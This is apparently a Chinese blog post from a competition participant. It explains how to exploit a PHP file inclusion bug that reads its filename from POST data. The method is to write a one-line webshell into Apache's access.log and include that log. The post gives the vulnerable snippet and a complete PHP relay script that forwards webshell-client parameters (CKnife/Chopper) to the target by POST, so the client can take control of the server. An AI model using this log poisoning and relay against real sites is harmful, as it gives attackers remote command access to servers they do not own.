POST型文件包含漏洞之一句话利用
最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。
<?php if(isset($_POST["filename"])) $myfile = $_POST["filename"]; else echo "Please set filename!"; ?>
上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。
首先我们先给日志写入一句话。
然后我们可以在靶机上查看一下是否上传成功。
ok
创建如下脚本:
<?php $url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径 //初始化提交参数 $data = array('filename'=>'../Apache/logs/access.log'); if(isset($_POST["CRoot"]))//此处CRoot改为你的密码 { $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp; } if(isset($_POST["action"])) { $tmp = array('action'=>$_POST["action"]); $data += $tmp; } if(isset($_POST['z1'])) { $tmp = array('z1'=>$_POST["z1"]); $data += $tmp; } //$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']); //var_dump($data); $data = http_build_query($data); $curl = curl_init(); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $rtdata = curl_exec($curl); curl_close($curl); echo $rtdata; ?>
打开C刀
本地搭建PHP服务器进行连接。测试效果
OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。
页面下部广告